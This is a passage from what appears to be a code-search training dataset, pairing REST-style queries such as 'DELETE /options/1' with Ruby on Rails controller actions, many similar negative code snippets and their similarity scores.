render :xml => @poll_option.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @option_type.update(option_type_params)\n format.html { redirect_to [:admin, @option_type], notice: 'Option type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @option_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(path, opts = {})\n request(:put, path, opts).body\n end", "def put(path, options={})\n url = build_url path, options\n body, mime = build_payload options\n headers = (options[:headers] || {}).merge :content_type => mime\n Response.new(@client[url].put body, headers)\n rescue RestClient::Exception => e\n Response.new e.response\n end", "def set(options)\n json_body = options.to_json\n request_uri = \"#{base_request_uri}/state\"\n HTTParty.put(request_uri, :body => json_body)\n end", "def put(path, params={}, options={})\n request(:put, api_path(path), params, options)\n end", "def options(path, opts={}, &bk); route 'OPTIONS', path, opts, &bk end", "def update\n @goods_auto_option = GoodsAutoOption.find(params[:id])\n\n respond_to do |format|\n if @goods_auto_option.update_attributes(params[:goods_auto_option])\n format.html { redirect_to(@goods_auto_option, :notice => 'GoodsAutoOption was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @goods_auto_option.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end", "def put_request(path, params={}, options={})\n request(:put, path, params, options)\n end", "def put(*args)\n request :put, *args\n end", "def update\n @quick_poll_option = QuickPollOption.find(params[:id])\n\n respond_to do |format|\n if @quick_poll_option.update_attributes(params[:quick_poll_option])\n format.html { redirect_to @quick_poll_option, notice: 'Quick poll option was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @quick_poll_option.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6678477", "0.65433025", "0.651461", "0.6507875", "0.6466096", "0.6466096", "0.6257501", "0.6174435", "0.6104741", "0.6049963", "0.6040195", "0.6040195", "0.6001774", "0.6001774", "0.59641", "0.59572977", "0.59527624", "0.5913547", "0.5886651", "0.5860818", "0.5832506", "0.57997596", "0.57997596", "0.57997596", "0.579444", "0.5792348", "0.5782666", "0.57699573", "0.57102597", "0.5691219", "0.5674896", "0.5674185", "0.56630147", "0.5660608", "0.56479543", "0.56310326", "0.562336", "0.56159973", "0.56159973", "0.56087935", "0.5606731", "0.56037605", "0.55999744", "0.5598664", "0.5596152", "0.5574", "0.5559263", "0.55504894", "0.5543068", "0.5524289", "0.5523566", "0.55213684", "0.55213684", "0.55213684", "0.55213684", "0.55213684", "0.55213684", "0.55213684", "0.55213684", "0.55177945", "0.5510063", "0.54789436", "0.54750377", "0.54645735", "0.5462997", "0.5424742", "0.54232925", "0.5405407", "0.539688", "0.5395627", "0.53862023", "0.538292", "0.5380057", "0.53733486", "0.5357122", "0.5336859", "0.5330606", "0.53244257", "0.5317223", "0.5311958", "0.5305571", "0.5305571", "0.5305571", "0.5305571", "0.5305571", "0.5305571", "0.5305571", "0.53044903", "0.52952665", "0.5291735", "0.5290261", "0.52848345", "0.5282981", "0.52824265", "0.5279709", "0.52736104", "0.5267204", "0.5263336", "0.5260401", "0.52592474" ]
0.6317479
6
DELETE /options/1 DELETE /options/1.xml
def destroy @option = Option.find(params[:id]) @option.destroy respond_to do |format| format.html { redirect_to(options_url) } format.xml { head :ok } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete(options={})\n connection.delete(\"/\", @name)\n end", "def destroy\n @opt = Opt.find(params[:id])\n @opt.destroy\n\n respond_to do |format|\n format.html { redirect_to(opts_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @auto_option = AutoOption.find(params[:id])\n @auto_option.destroy\n\n respond_to do |format|\n format.html { redirect_to(auto_options_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n\t@option = Option.find(params[:id])\n\t@qid=@option.question_id\n\t@option.destroy\n\n\trespond_to do |format|\n\t format.html { redirect_to(options_url(:qid=>@qid)) }\n\t format.xml { head :ok }\n\tend\n end", "def destroy\n @option.destroy\n\n respond_to do |format|\n format.html { redirect_to(question_options_path(@question)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @option = Option.find(params[:id])\n @qid=@option.question_id\n @option.destroy\n\n respond_to do |format|\n format.html { redirect_to(options_url(:qid=>@qid)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @survey_option = SurveyOption.find(params[:id])\n @survey_option.destroy\n\n respond_to do |format|\n format.html { redirect_to(survey_options_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @item_option = ItemOption.find(params[:id])\n @item_option.destroy\n\n respond_to do |format|\n format.html { redirect_to(item_options_url) }\n format.xml { head :ok }\n end\n end", "def cmd_delete argv\n setup argv\n e = @hash['element']\n response = @api.delete(e)\n msg response\n return response\n end", "def destroy\n @option = Option.find(params[:id])\n @option.destroy\n\n respond_to do |format|\n format.html { redirect_to options_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @option = Option.find(params[:id])\n @option.destroy\n\n respond_to do |format|\n format.html { redirect_to options_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question_option = QuestionOption.find(params[:id])\n @question_option.destroy\n\n respond_to do |format|\n format.html { redirect_to(question_options_url) }\n format.xml { head :ok }\n end\n end", "def delete(name, options = T.unsafe(nil)); end", "def destroy\n @goods_auto_option = GoodsAutoOption.find(params[:id])\n @goods_auto_option.destroy\n\n respond_to do |format|\n format.html { redirect_to(goods_auto_options_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @reunion_option = ReunionOption.find(params[:id])\n @reunion_option.destroy\n\n respond_to do |format|\n format.html { redirect_to(reunion_options_url) }\n format.xml { head :ok }\n end\n end", "def delete options\n rest_request({ method: :delete }.merge(options))\n end", "def delete options\n rest_request({ method: :delete }.merge(options))\n end", "def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def destroy\n @question_option = QuestionOption.find(params[:id])\n check_forged_path\n @question_option.destroy\n\n respond_to do |format|\n format.json { head :ok }\n format.xml { head :ok }\n end\n end", "def destroy\n @auto_option = AutoOption.find(params[:id])\n @auto_option.destroy\n\n respond_to do |format|\n format.html { redirect_to auto_options_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @payment_option = PaymentOption.find(params[:id])\n @payment_option.destroy\n\n respond_to do |format|\n format.html { redirect_to([:admin, @payment_option]) }\n format.xml { head :ok }\n end\n end", "def delete(uri, options = {})\n execute(uri, :delete, options)\n end", "def nuclear_option!\n query(\"MATCH (n) DETACH DELETE n\")\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def delete\n client.delete(\"/#{id}\")\n end", "def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end", "def delete_by_id id, opts = {}\n update opts.merge(:data => xml.delete_by_id(id))\n end", "def destroy\n @node_config = NodeConfig.destroy(params[:id])\n xml=@node_config.to_xml\n json=@node_config.to_json\n @node_config.destroy\n\n respond_to do |format|\n format.html { redirect_to(node_configs_url) }\n format.json { render :json => json}\n format.xml { render :xml => xml}\n end\n end", "def destroy\n @option.destroy\n respond_to do |format|\n format.html { redirect_to options_url, notice: 'Option was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @option.destroy\n respond_to do |format|\n format.html { redirect_to options_url, notice: 'Option was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @option.destroy\n respond_to do |format|\n format.html { redirect_to options_url, notice: 'Option was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @poll_option = PollOption.find(params[:id])\n @poll_option.destroy\n\n respond_to do |format|\n format.html { redirect_to(poll_options_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def destroy\n @option.destroy\n respond_to do |format|\n format.html { redirect_to sentence_options_url, notice: 'option was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(path, **options)\n execute :delete, path, options\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def delete(path, options = {})\n connection.delete path, options\n end", "def destroy\n @option.destroy\n respond_to do |format|\n format.html { redirect_to options_url, notice: 'Option was successfully destroyed.' }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def delete(path, options = {})\n execute('DELETE', path, options)\n end", "def delete(path, options={})\n send_request 'delete', path, options\n end", "def delete\n request(:delete)\n end", "def destroy\n @hybridization_option = HybridizationOption.find(params[:id])\n @hybridization_option.destroy\n\n respond_to do |format|\n format.html { redirect_to(hybridization_options_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @order_item_option = OrderItemOption.find(params[:id])\n @order_item_option.destroy\n\n head :no_content\n end", "def delete(path, options = nil)\n add(path, options).delete\n end", "def delete(name, _options = {})\n exec(\"delete\", c: name, p: port)\n end", "def delete!( opts = {} )\n http_action :delete, nil, opts\n end", "def delete(options = nil)\n request = Request.new(@client)\n path = \"/products/\" + CGI.escape(@id) + \"\"\n data = {\n\n }\n\n response = Response.new(request.delete(path, data, options))\n return_values = Array.new\n \n return_values.push(response.success)\n\n \n return_values[0]\n end", "def destroy\n @aws_dhcp_option_attribute.destroy\n respond_to do |format|\n format.html { redirect_to aws_dhcp_option_attributes_url, notice: 'Aws dhcp option attribute was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(path = nil, options = {})\n connection.delete(path, options)\n end", "def destroy\n @option.destroy\n respond_to do |format|\n format.html { redirect_to options_url, notice: 'Option was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(options={})\n DNSimple::Client.delete \"templates/#{id}\", options\n end", "def delete(path, options={}, format=format)\n request(:delete, path, options, format)\n end", "def delete(path, options = {})\n request(:delete, path, options)\n end", "def delete(path, options = {})\n request(:delete, path, options)\n end", "def delete\n start { |connection| connection.request http :Delete }\n end", "def destroy\n @exam_option = ExamOption.find(params[:id])\n @exam_option.destroy\n\n respond_to do |format|\n format.html { redirect_to exam_options_url }\n format.json { head :no_content }\n end\n end", "def delete(uri, options = {})\n build_response(request.delete(uri, build_request_options({:input => options.to_params})))\n end", "def destroy\n @accessory = Accessory.find(params[:id])\n @accessory.destroy\n if options = Option.find_all_by_accessory_id(params[:id])\n options.each do |option|\n option.destroy\n end\n end\n respond_to do |format|\n format.html { redirect_to(accessories_url) }\n format.xml { head :ok }\n end\n end", "def delete(path, options = {}, &block)\n map(path, options, :delete, &block)\n end", "def delete_option(name)\n @options.delete(name)\n end", "def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end", "def destroy\n @item = option_model.find(params[:id])\n @item.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def delete(path, options = {})\n request(:delete, path, options)\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def destroy\n @configattribincl.destroy\n respond_to do |format|\n format.html { redirect_to configattribs_path, notice: 'Configattribincl Threshold is reset to default.' }\n format.json { head :no_content }\n end\n end", "def delete_option(option_id)\n client.delete(\"/customFields/#{id}/options/#{option_id}\")\n end", "def delete_option\n option_param = params.permit(:id)\n\n render json: Option.delete_option(option_param)\n end", "def delete\n execute_request('DELETE') do |uri, headers|\n HTTP.http_client.delete(uri, header: headers)\n end\n end", "def destroy\n @price_option_name = PriceOptionName.find(params[:id])\n @price_option_name.destroy\n\n respond_to do |format|\n format.html { redirect_to(price_option_names_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @config_file = ConfigFile.find(params[:id])\n @config_file.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_files_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @option_value = OptionValue.find(params[:id])\n @option_value.destroy\n\n respond_to do |format|\n format.html { redirect_to option_values_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @poll_options_set = PollOptionsSet.find(params[:id])\n @poll_options_set.destroy\n\n respond_to do |format|\n format.html { redirect_to poll_options_sets_url }\n format.json { head :no_content }\n end\n end", "def delete(options = {})\n @client.delete(self.link(:edit), options)\n end", "def delete(args)\n args = {:path => args} unless args.is_a?(Hash)\n assert_supported_keys(args, [:path, :version, :callback, :context])\n assert_required_keys(args, [:path])\n args[:version] ||= -1\n\n if args[:callback] ## asynchronous\n raise KeeperException::BadArguments unless args[:callback].kind_of?(VoidCallback)\n return zoo_adelete(@zk_handle, args[:path], args[:version], args[:callback].proc, YAML.dump(args[:context]))\n end\n\n ## synchronous\n rc = zoo_delete(@zk_handle, args[:path], args[:version])\n raise KeeperException.by_code(rc), ZooKeeperFFI::zerror(rc) unless rc == ZOK\n return rc\n end", "def destroy\n @questions_option = QuestionsOption.find(params[:id])\n @questions_option.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_options_url }\n format.json { head :no_content }\n end\n end", "def delete\n Iterable.request(conf, base_path).delete\n end", "def destroy\n @path = Path.find(params[:id])\n @path.destroy\n\n respond_to do |format|\n format.html { redirect_to(layer_url) }\n format.xml { head :ok }\n end\n end", "def delete_directory(client, options)\n if !options[:directory].nil?\n directory = client.directories.get options[:directory]\n directory.delete\n puts \"Directory deleted.\"\n return\n else\n puts \"Missing arguments\"\n return nil\n end\nend", "def delete(path, options = {}, raw = false)\n request(:delete, path, options, raw)\n end", "def destroy\n @conf = Conf.find(params[:id])\n @conf.destroy\n\n respond_to do |format|\n format.html { redirect_to confs_url }\n format.json { head :no_content }\n end\n end", "def delete(path, options = {}, signature = false, raw = false, unformatted = false, no_response_wrapper = self.no_response_wrapper, signed = sign_requests)\n request(:delete, path, options, signature, raw, unformatted, no_response_wrapper, signed)\n end", "def delete(path, options={}, raw=false)\n request(:delete, path, options, raw)\n end", "def destroy\n requires :id\n service.delete_dhcp_options(id)\n true\n end", "def delete_gdom_disk(options)\n gdom_dir = $ldom_base_dir+\"/\"+options['name']\n client_disk = gdom_dir+\"/vdisk0\"\n message = \"Information:\\tRemoving disk \"+client_disk\n command = \"rm #{client_disk}\"\n execute_command(options,message,command)\n return\nend", "def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end", "def destroy\n @doc_type_am_configuration = DocTypeAmConfiguration.find(params[:id])\n @doc_type_am_configuration.destroy\n\n respond_to do |format|\n format.html { redirect_to doc_type_am_configurations_url }\n format.json { head :ok }\n end\n end", "def destroy\n \n load_quiz_section_and_question\n load_option\n \n @option.destroy\n \n respond_to do |format|\n format.html { redirect_to admins_quiz_section_question_path(@quiz,@section,@question.sequence_no), notice: \"Option deleted successfully.\" }\n format.json { head :no_content }\n end\n end", "def delete\n if options.master?\n delete_master(options)\n elsif options.slave?\n delete_slave(options)\n else\n invoke :help, [:delete]\n end\n end", "def destroy\n @alternatives_set = AlternativesSet.find(params[:id])\n @alternatives_set.destroy\n\n respond_to do |format|\n format.html { redirect_to(alternatives_sets_url) }\n format.xml { head :ok }\n end\n end", "def delete\n api(\"Delete\")\n end", "def destroy\n @option.destroy\n respond_to do |format|\n format.html { redirect_to question_options_url(@option.question), notice: \"Option was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete(id)\r\n connection.delete(\"/#{@doctype}[@ino:id=#{id}]\")\r\n end", "def destroy\n begin\n @tconfiguration = Tconfiguration.find(params[:id])\n \n @tconfiguration.destroy\n rescue ActiveRecord::RecordNotFound\n end\n\n respond_to do |format|\n format.html { redirect_to(tconfigurations_url) }\n format.xml { head :ok }\n end\n end" ]
[ "0.6976978", "0.6933382", "0.682899", "0.66711384", "0.658292", "0.6561163", "0.6500211", "0.6459917", "0.6442409", "0.6403972", "0.6403972", "0.6399349", "0.6351671", "0.6323481", "0.6323413", "0.6307222", "0.6307222", "0.63068646", "0.62822574", "0.62731606", "0.62616515", "0.62589633", "0.62501776", "0.6228535", "0.62284064", "0.62043965", "0.6182776", "0.61825824", "0.61796874", "0.61781967", "0.61781967", "0.61781967", "0.61741626", "0.61662686", "0.6164783", "0.61625904", "0.6162582", "0.6151026", "0.6132304", "0.61306274", "0.6110059", "0.6103075", "0.6093448", "0.6081225", "0.60701424", "0.606851", "0.60638034", "0.60574067", "0.6056803", "0.60557777", "0.60392785", "0.6024107", "0.60129404", "0.6002172", "0.60008204", "0.59911424", "0.59911424", "0.59900236", "0.5989785", "0.59889346", "0.5982182", "0.5976531", "0.59539545", "0.59490055", "0.5940531", "0.59350675", "0.5933851", "0.5931313", "0.59161717", "0.5904459", "0.5904098", "0.59022343", "0.58919173", "0.5888754", "0.5884118", "0.5883267", "0.5876713", "0.587552", "0.5872536", "0.5872392", "0.58712506", "0.58593035", "0.58536476", "0.58497876", "0.5847413", "0.58398217", "0.5839553", "0.5838057", "0.5832558", "0.58308506", "0.5828914", "0.5818398", "0.58179116", "0.58148116", "0.58035254", "0.58035254", "0.58035254", "0.58035254", "0.5799355", "0.5794311" ]
0.70544225
0
GET /generator_infos/1 GET /generator_infos/1.json
def show @generator_info = GeneratorInfo.find(params[:id]) respond_to do |format| format.html # show.html.erb format.json { render json: @generator_info } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @generator = Generator.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @generator }\n end\n end", "def new\n @generator_info = GeneratorInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @generator_info }\n end\n end", "def index\n @generator = Generator.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @generator }\n end\n end", "def new\n @generator = Generator.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @generator }\n end\n end", "def show\n @generator = Generator.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n end\n end", "def create\n @generator_info = GeneratorInfo.new(params[:generator_info])\n\n respond_to do |format|\n if @generator_info.save\n format.html { redirect_to @generator_info, notice: 'Generator info was successfully created.' }\n format.json { render json: @generator_info, status: :created, location: @generator_info }\n else\n format.html { render action: \"new\" }\n format.json { render json: @generator_info.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @generation = Generation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @generation }\n end\n end", "def show\n @gen = Gen.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gen }\n end\n end", "def index\n @generations = Generation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @generations }\n end\n end", "def show\n @generators = Generator.where(id: params[:id], user_id: current_user.id )\n end", "def new\n @small_generator = SmallGenerator.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @small_generator }\n end\n end", "def show\n @opportunity_generator = OpportunityGenerator.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @opportunity_generator }\n end\n end", "def new\n @generation = Generation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @generation }\n end\n end", "def create\n @generator = Generator.new(params[:generator])\n \n respond_to do |format|\n if @generator.save\n format.html { redirect_to admin_generator_path(@generator.id), notice: 'Generator was successfully created.' }\n format.json { render json: @generator, status: :created, location: @generator }\n else\n format.html { render action: \"new\" }\n format.json { render json: @generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @generator = Generator.new(generator_params)\n\n respond_to do |format|\n if @generator.save\n format.html { redirect_to @generator, notice: 'Generator was successfully created.' }\n format.json { render :show, status: :created, location: @generator }\n else\n format.html { render :new }\n format.json { render json: @generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @gen = Gen.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gen }\n end\n end", "def getgenerate\n @api.request 'getgenerate'\n end", "def index\n @generators = Generator.all \n\n \n \n end", "def getgenerate\n request :getgenerate\n end", "def index\n @generations = Generation.all\n end", "def info\n get '/'\n end", "def get(incoming={})\n opts = HttpClient::Helper.symbolize_keys(incoming)\n query = {\n :guid => HttpClient::Preconditions.assert_class_or_nil('guid', HttpClient::Helper.to_uuid(opts.delete(:guid)), String),\n :key => HttpClient::Preconditions.assert_class_or_nil('key', opts.delete(:key), String),\n :limit => HttpClient::Preconditions.assert_class_or_nil('limit', opts.delete(:limit), Integer),\n :offset => HttpClient::Preconditions.assert_class_or_nil('offset', opts.delete(:offset), Integer)\n }.delete_if { |k, v| v.nil? }\n @client.request(\"/generators\").with_query(query).get.map { |hash| Apidoc::Models::Generator.new(hash) }\n end", "def show\n @generation = Generation.find(params[:id])\n end", "def new\n @opportunity_generator = OpportunityGenerator.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @opportunity_generator }\n end\n end", "def show\n @impgen = Impgen.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @impgen }\n end\n end", "def destroy\n @generator_info = GeneratorInfo.find(params[:id])\n @generator_info.destroy\n\n respond_to do |format|\n format.html { redirect_to generator_infos_url }\n format.json { head :no_content }\n end\n end", "def update\n @generator_info = GeneratorInfo.find(params[:id])\n\n respond_to do |format|\n if @generator_info.update_attributes(params[:generator_info])\n format.html { redirect_to @generator_info, notice: 'Generator info was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @generator_info.errors, status: :unprocessable_entity }\n end\n end\n end", "def trackgen_info;\treturn @json_data['trackgen_info'];\tend", "def getinfo\n request :getinfo\n end", "def index\n @search = Sunspot.search Generator do\n fulltext params[:query_generator]\n end\n @generators = @search.results\n respond_to do |format|\n format.html\n format.json {render :json => @generators.map(&:attributes) }\n end\nend", "def show\n @genotype = Genotype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @genotype }\n end\n end", "def show\n @creator_source = CreatorSource.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @creator_source }\n end\n end", "def info\n get(\"/api-info\")\n end", "def set_generator\n @generator = Generator.find(params[:id])\n end", "def new\n @impgen = Impgen.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @impgen }\n end\n end", "def show\n @ginasio = Ginasio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @ginasio }\n end\n end", "def create\n @small_generator = SmallGenerator.new(params[:small_generator])\n\n respond_to do |format|\n if @small_generator.save\n format.html { redirect_to @small_generator, notice: 'Small generator was successfully created.' }\n format.json { render json: @small_generator, status: :created, location: @small_generator }\n else\n format.html { render action: \"new\" }\n format.json { render json: @small_generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_info\n end", "def get_info\n end", "def get_info\n end", "def show\n creator = Creator.find(params[:id])\n if !creator.nil?\n render json: creator, status: :ok\n else\n render json: creator.errors, status: :not_found\n end\n end", "def show\n @creator = Creator.find_by_id(params[:id])\n if @creator.present?\n respond_with @creator, status: :ok, location: creators_path(@creator)\n else\n render json: {error: 'Could not find the resource. Check if you are using the right creator_id.'}, status: :not_found\n end\n end", "def generation\n @gapi[\"generation\"]\n end", "def show_info\n render json: TrackingInformationQuery.single(@tracking_information, @order), status: 200\n end", "def getinfo\n @api.request 'getinfo'\n end", "def new\n @creator_source = CreatorSource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @creator_source }\n end\n end", "def create\n @gen = Gen.new(params[:gen])\n\n respond_to do |format|\n if @gen.save\n format.html { redirect_to @gen, notice: 'Gen was successfully created.' }\n format.json { render json: @gen, status: :created, location: @gen }\n else\n format.html { render action: \"new\" }\n format.json { render json: @gen.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n respond_to do |format|\n if handle_component && @generator.save\n format.html { redirect_to @generator, notice: 'Generator was successfully created.' }\n format.json { render action: 'show', status: :created, location: @generator }\n else\n format.html { render action: 'new' }\n format.json { render json: {status: :unprocessable_entity, errors: 'Could Not Create Generator'} }\n end\n end\n end", "def create\n @generator = Generator.new(generator_params)\n create_scaffold\n respond_to do |format|\n if @generator.save\n format.html { redirect_to @generator, notice: 'Generator was successfully created.' }\n format.json { render :show, status: :created, location: @generator }\n else\n format.html { render :new }\n format.json { render json: @generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def info\n @document = Document.find(params[:id])\n respond_to do |format|\n format.json { render :json => @document, serializer: Api::Mobile::V2::DynamicDocumentSerializer, root: 'document' }\n end\n end", "def set_generator\n @generator = Generator.find(params[:id])\n end", "def set_generator\n @generator = Generator.find(params[:id])\n end", "def index\n\t my_uuid = params[:uuid]\n\t\tif my_uuid == nil\n\n\t\t\t@information = Information.all\n\t\telse\n\t\t\t@information = Information.where(uuid: my_uuid).all\n\t\tend\n\t\trespond_with @information\n end", "def create\n @generation = Generation.new(generation_params)\n\n respond_to do |format|\n if @generation.save\n format.html { redirect_to [:admin, @generation], notice: 'Generation was successfully created.' }\n format.json { render json: @generation, status: :created, location: @generation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @generation.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @gid2name = Gid2name.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gid2name }\n end\n end", "def index\n @creations = Creation.where(user_id: params[:user_id])\n\n render json: @creations\n end", "def show\n @gene_name = GeneName.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gene_name }\n end\n end", "def show\n @gastracker = Gastracker.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gastracker }\n end\n end", "def show\n @program_genre = ProgramGenre.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @program_genre }\n end\n end", "def show\n @small_generator = SmallGenerator.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @small_generator }\n format.pdf do\n pdf = SmallGeneratorsPdf.new @small_generator, view_context\n send_data pdf.render,\n type: \"application/pdf\",\n disposition: \"inline\",\n filename: \"#{@small_generator.model}.pdf\"\n end\n end\n end", "def download\n #require 'debugger'; debugger\n generator = Generator.where(id: params[:id], user_id: current_user.id).first\n send_file TerrainLib::Component.generate JSON.parse(generator.generator_hash)\n end", "def new\n @gid2name = Gid2name.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gid2name }\n end\n end", "def update\n respond_to do |format|\n if @generator.update(generator_params)\n format.html { redirect_to @generator, notice: 'Generator was successfully updated.' }\n format.json { render :show, status: :ok, location: @generator }\n else\n format.html { render :edit }\n format.json { render json: @generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @generator.update(generator_params)\n format.html { redirect_to @generator, notice: 'Generator was successfully updated.' }\n format.json { render :show, status: :ok, location: @generator }\n else\n format.html { render :edit }\n format.json { render json: @generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @generation = Generation.new(generation_params)\n\n respond_to do |format|\n if @generation.save\n format.html { redirect_to ['admin', @generation], notice: 'Generación Creada' }\n format.json { render :show, status: :created, location: @generation }\n else\n format.html { render :new }\n format.json { render json: @generation.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @githuber = Githuber.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @githuber }\n end\n end", "def info\n request('getinfo')\n end", "def new\n puts \"HAHAHAHAHHA\"\n @information_request = InformationRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @information_request }\n end\n end", "def new\n @ginasio = Ginasio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @ginasio }\n end\n end", "def index\n @infos = Info.all\n end", "def show\n @information_request = InformationRequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @information_request }\n end\n end", "def render_generals\n render json: GeneralsSerializer.new(@general_data).to_serialized_json\n end", "def show\n @allergen_warning = AllergenWarning.find(params[:id])\n\n render json: @allergen_warning\n end", "def new\n @genotype = Genotype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @genotype }\n end\n end", "def show\n @gig_request = GigRequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gig_request }\n end\n end", "def info\n CouchRest.get \"#{@uri}/\"\n end", "def show\n @gig = Gig.find(params[:id])\n\n respond_to do |format|\n format.html {render json: @gig, status: 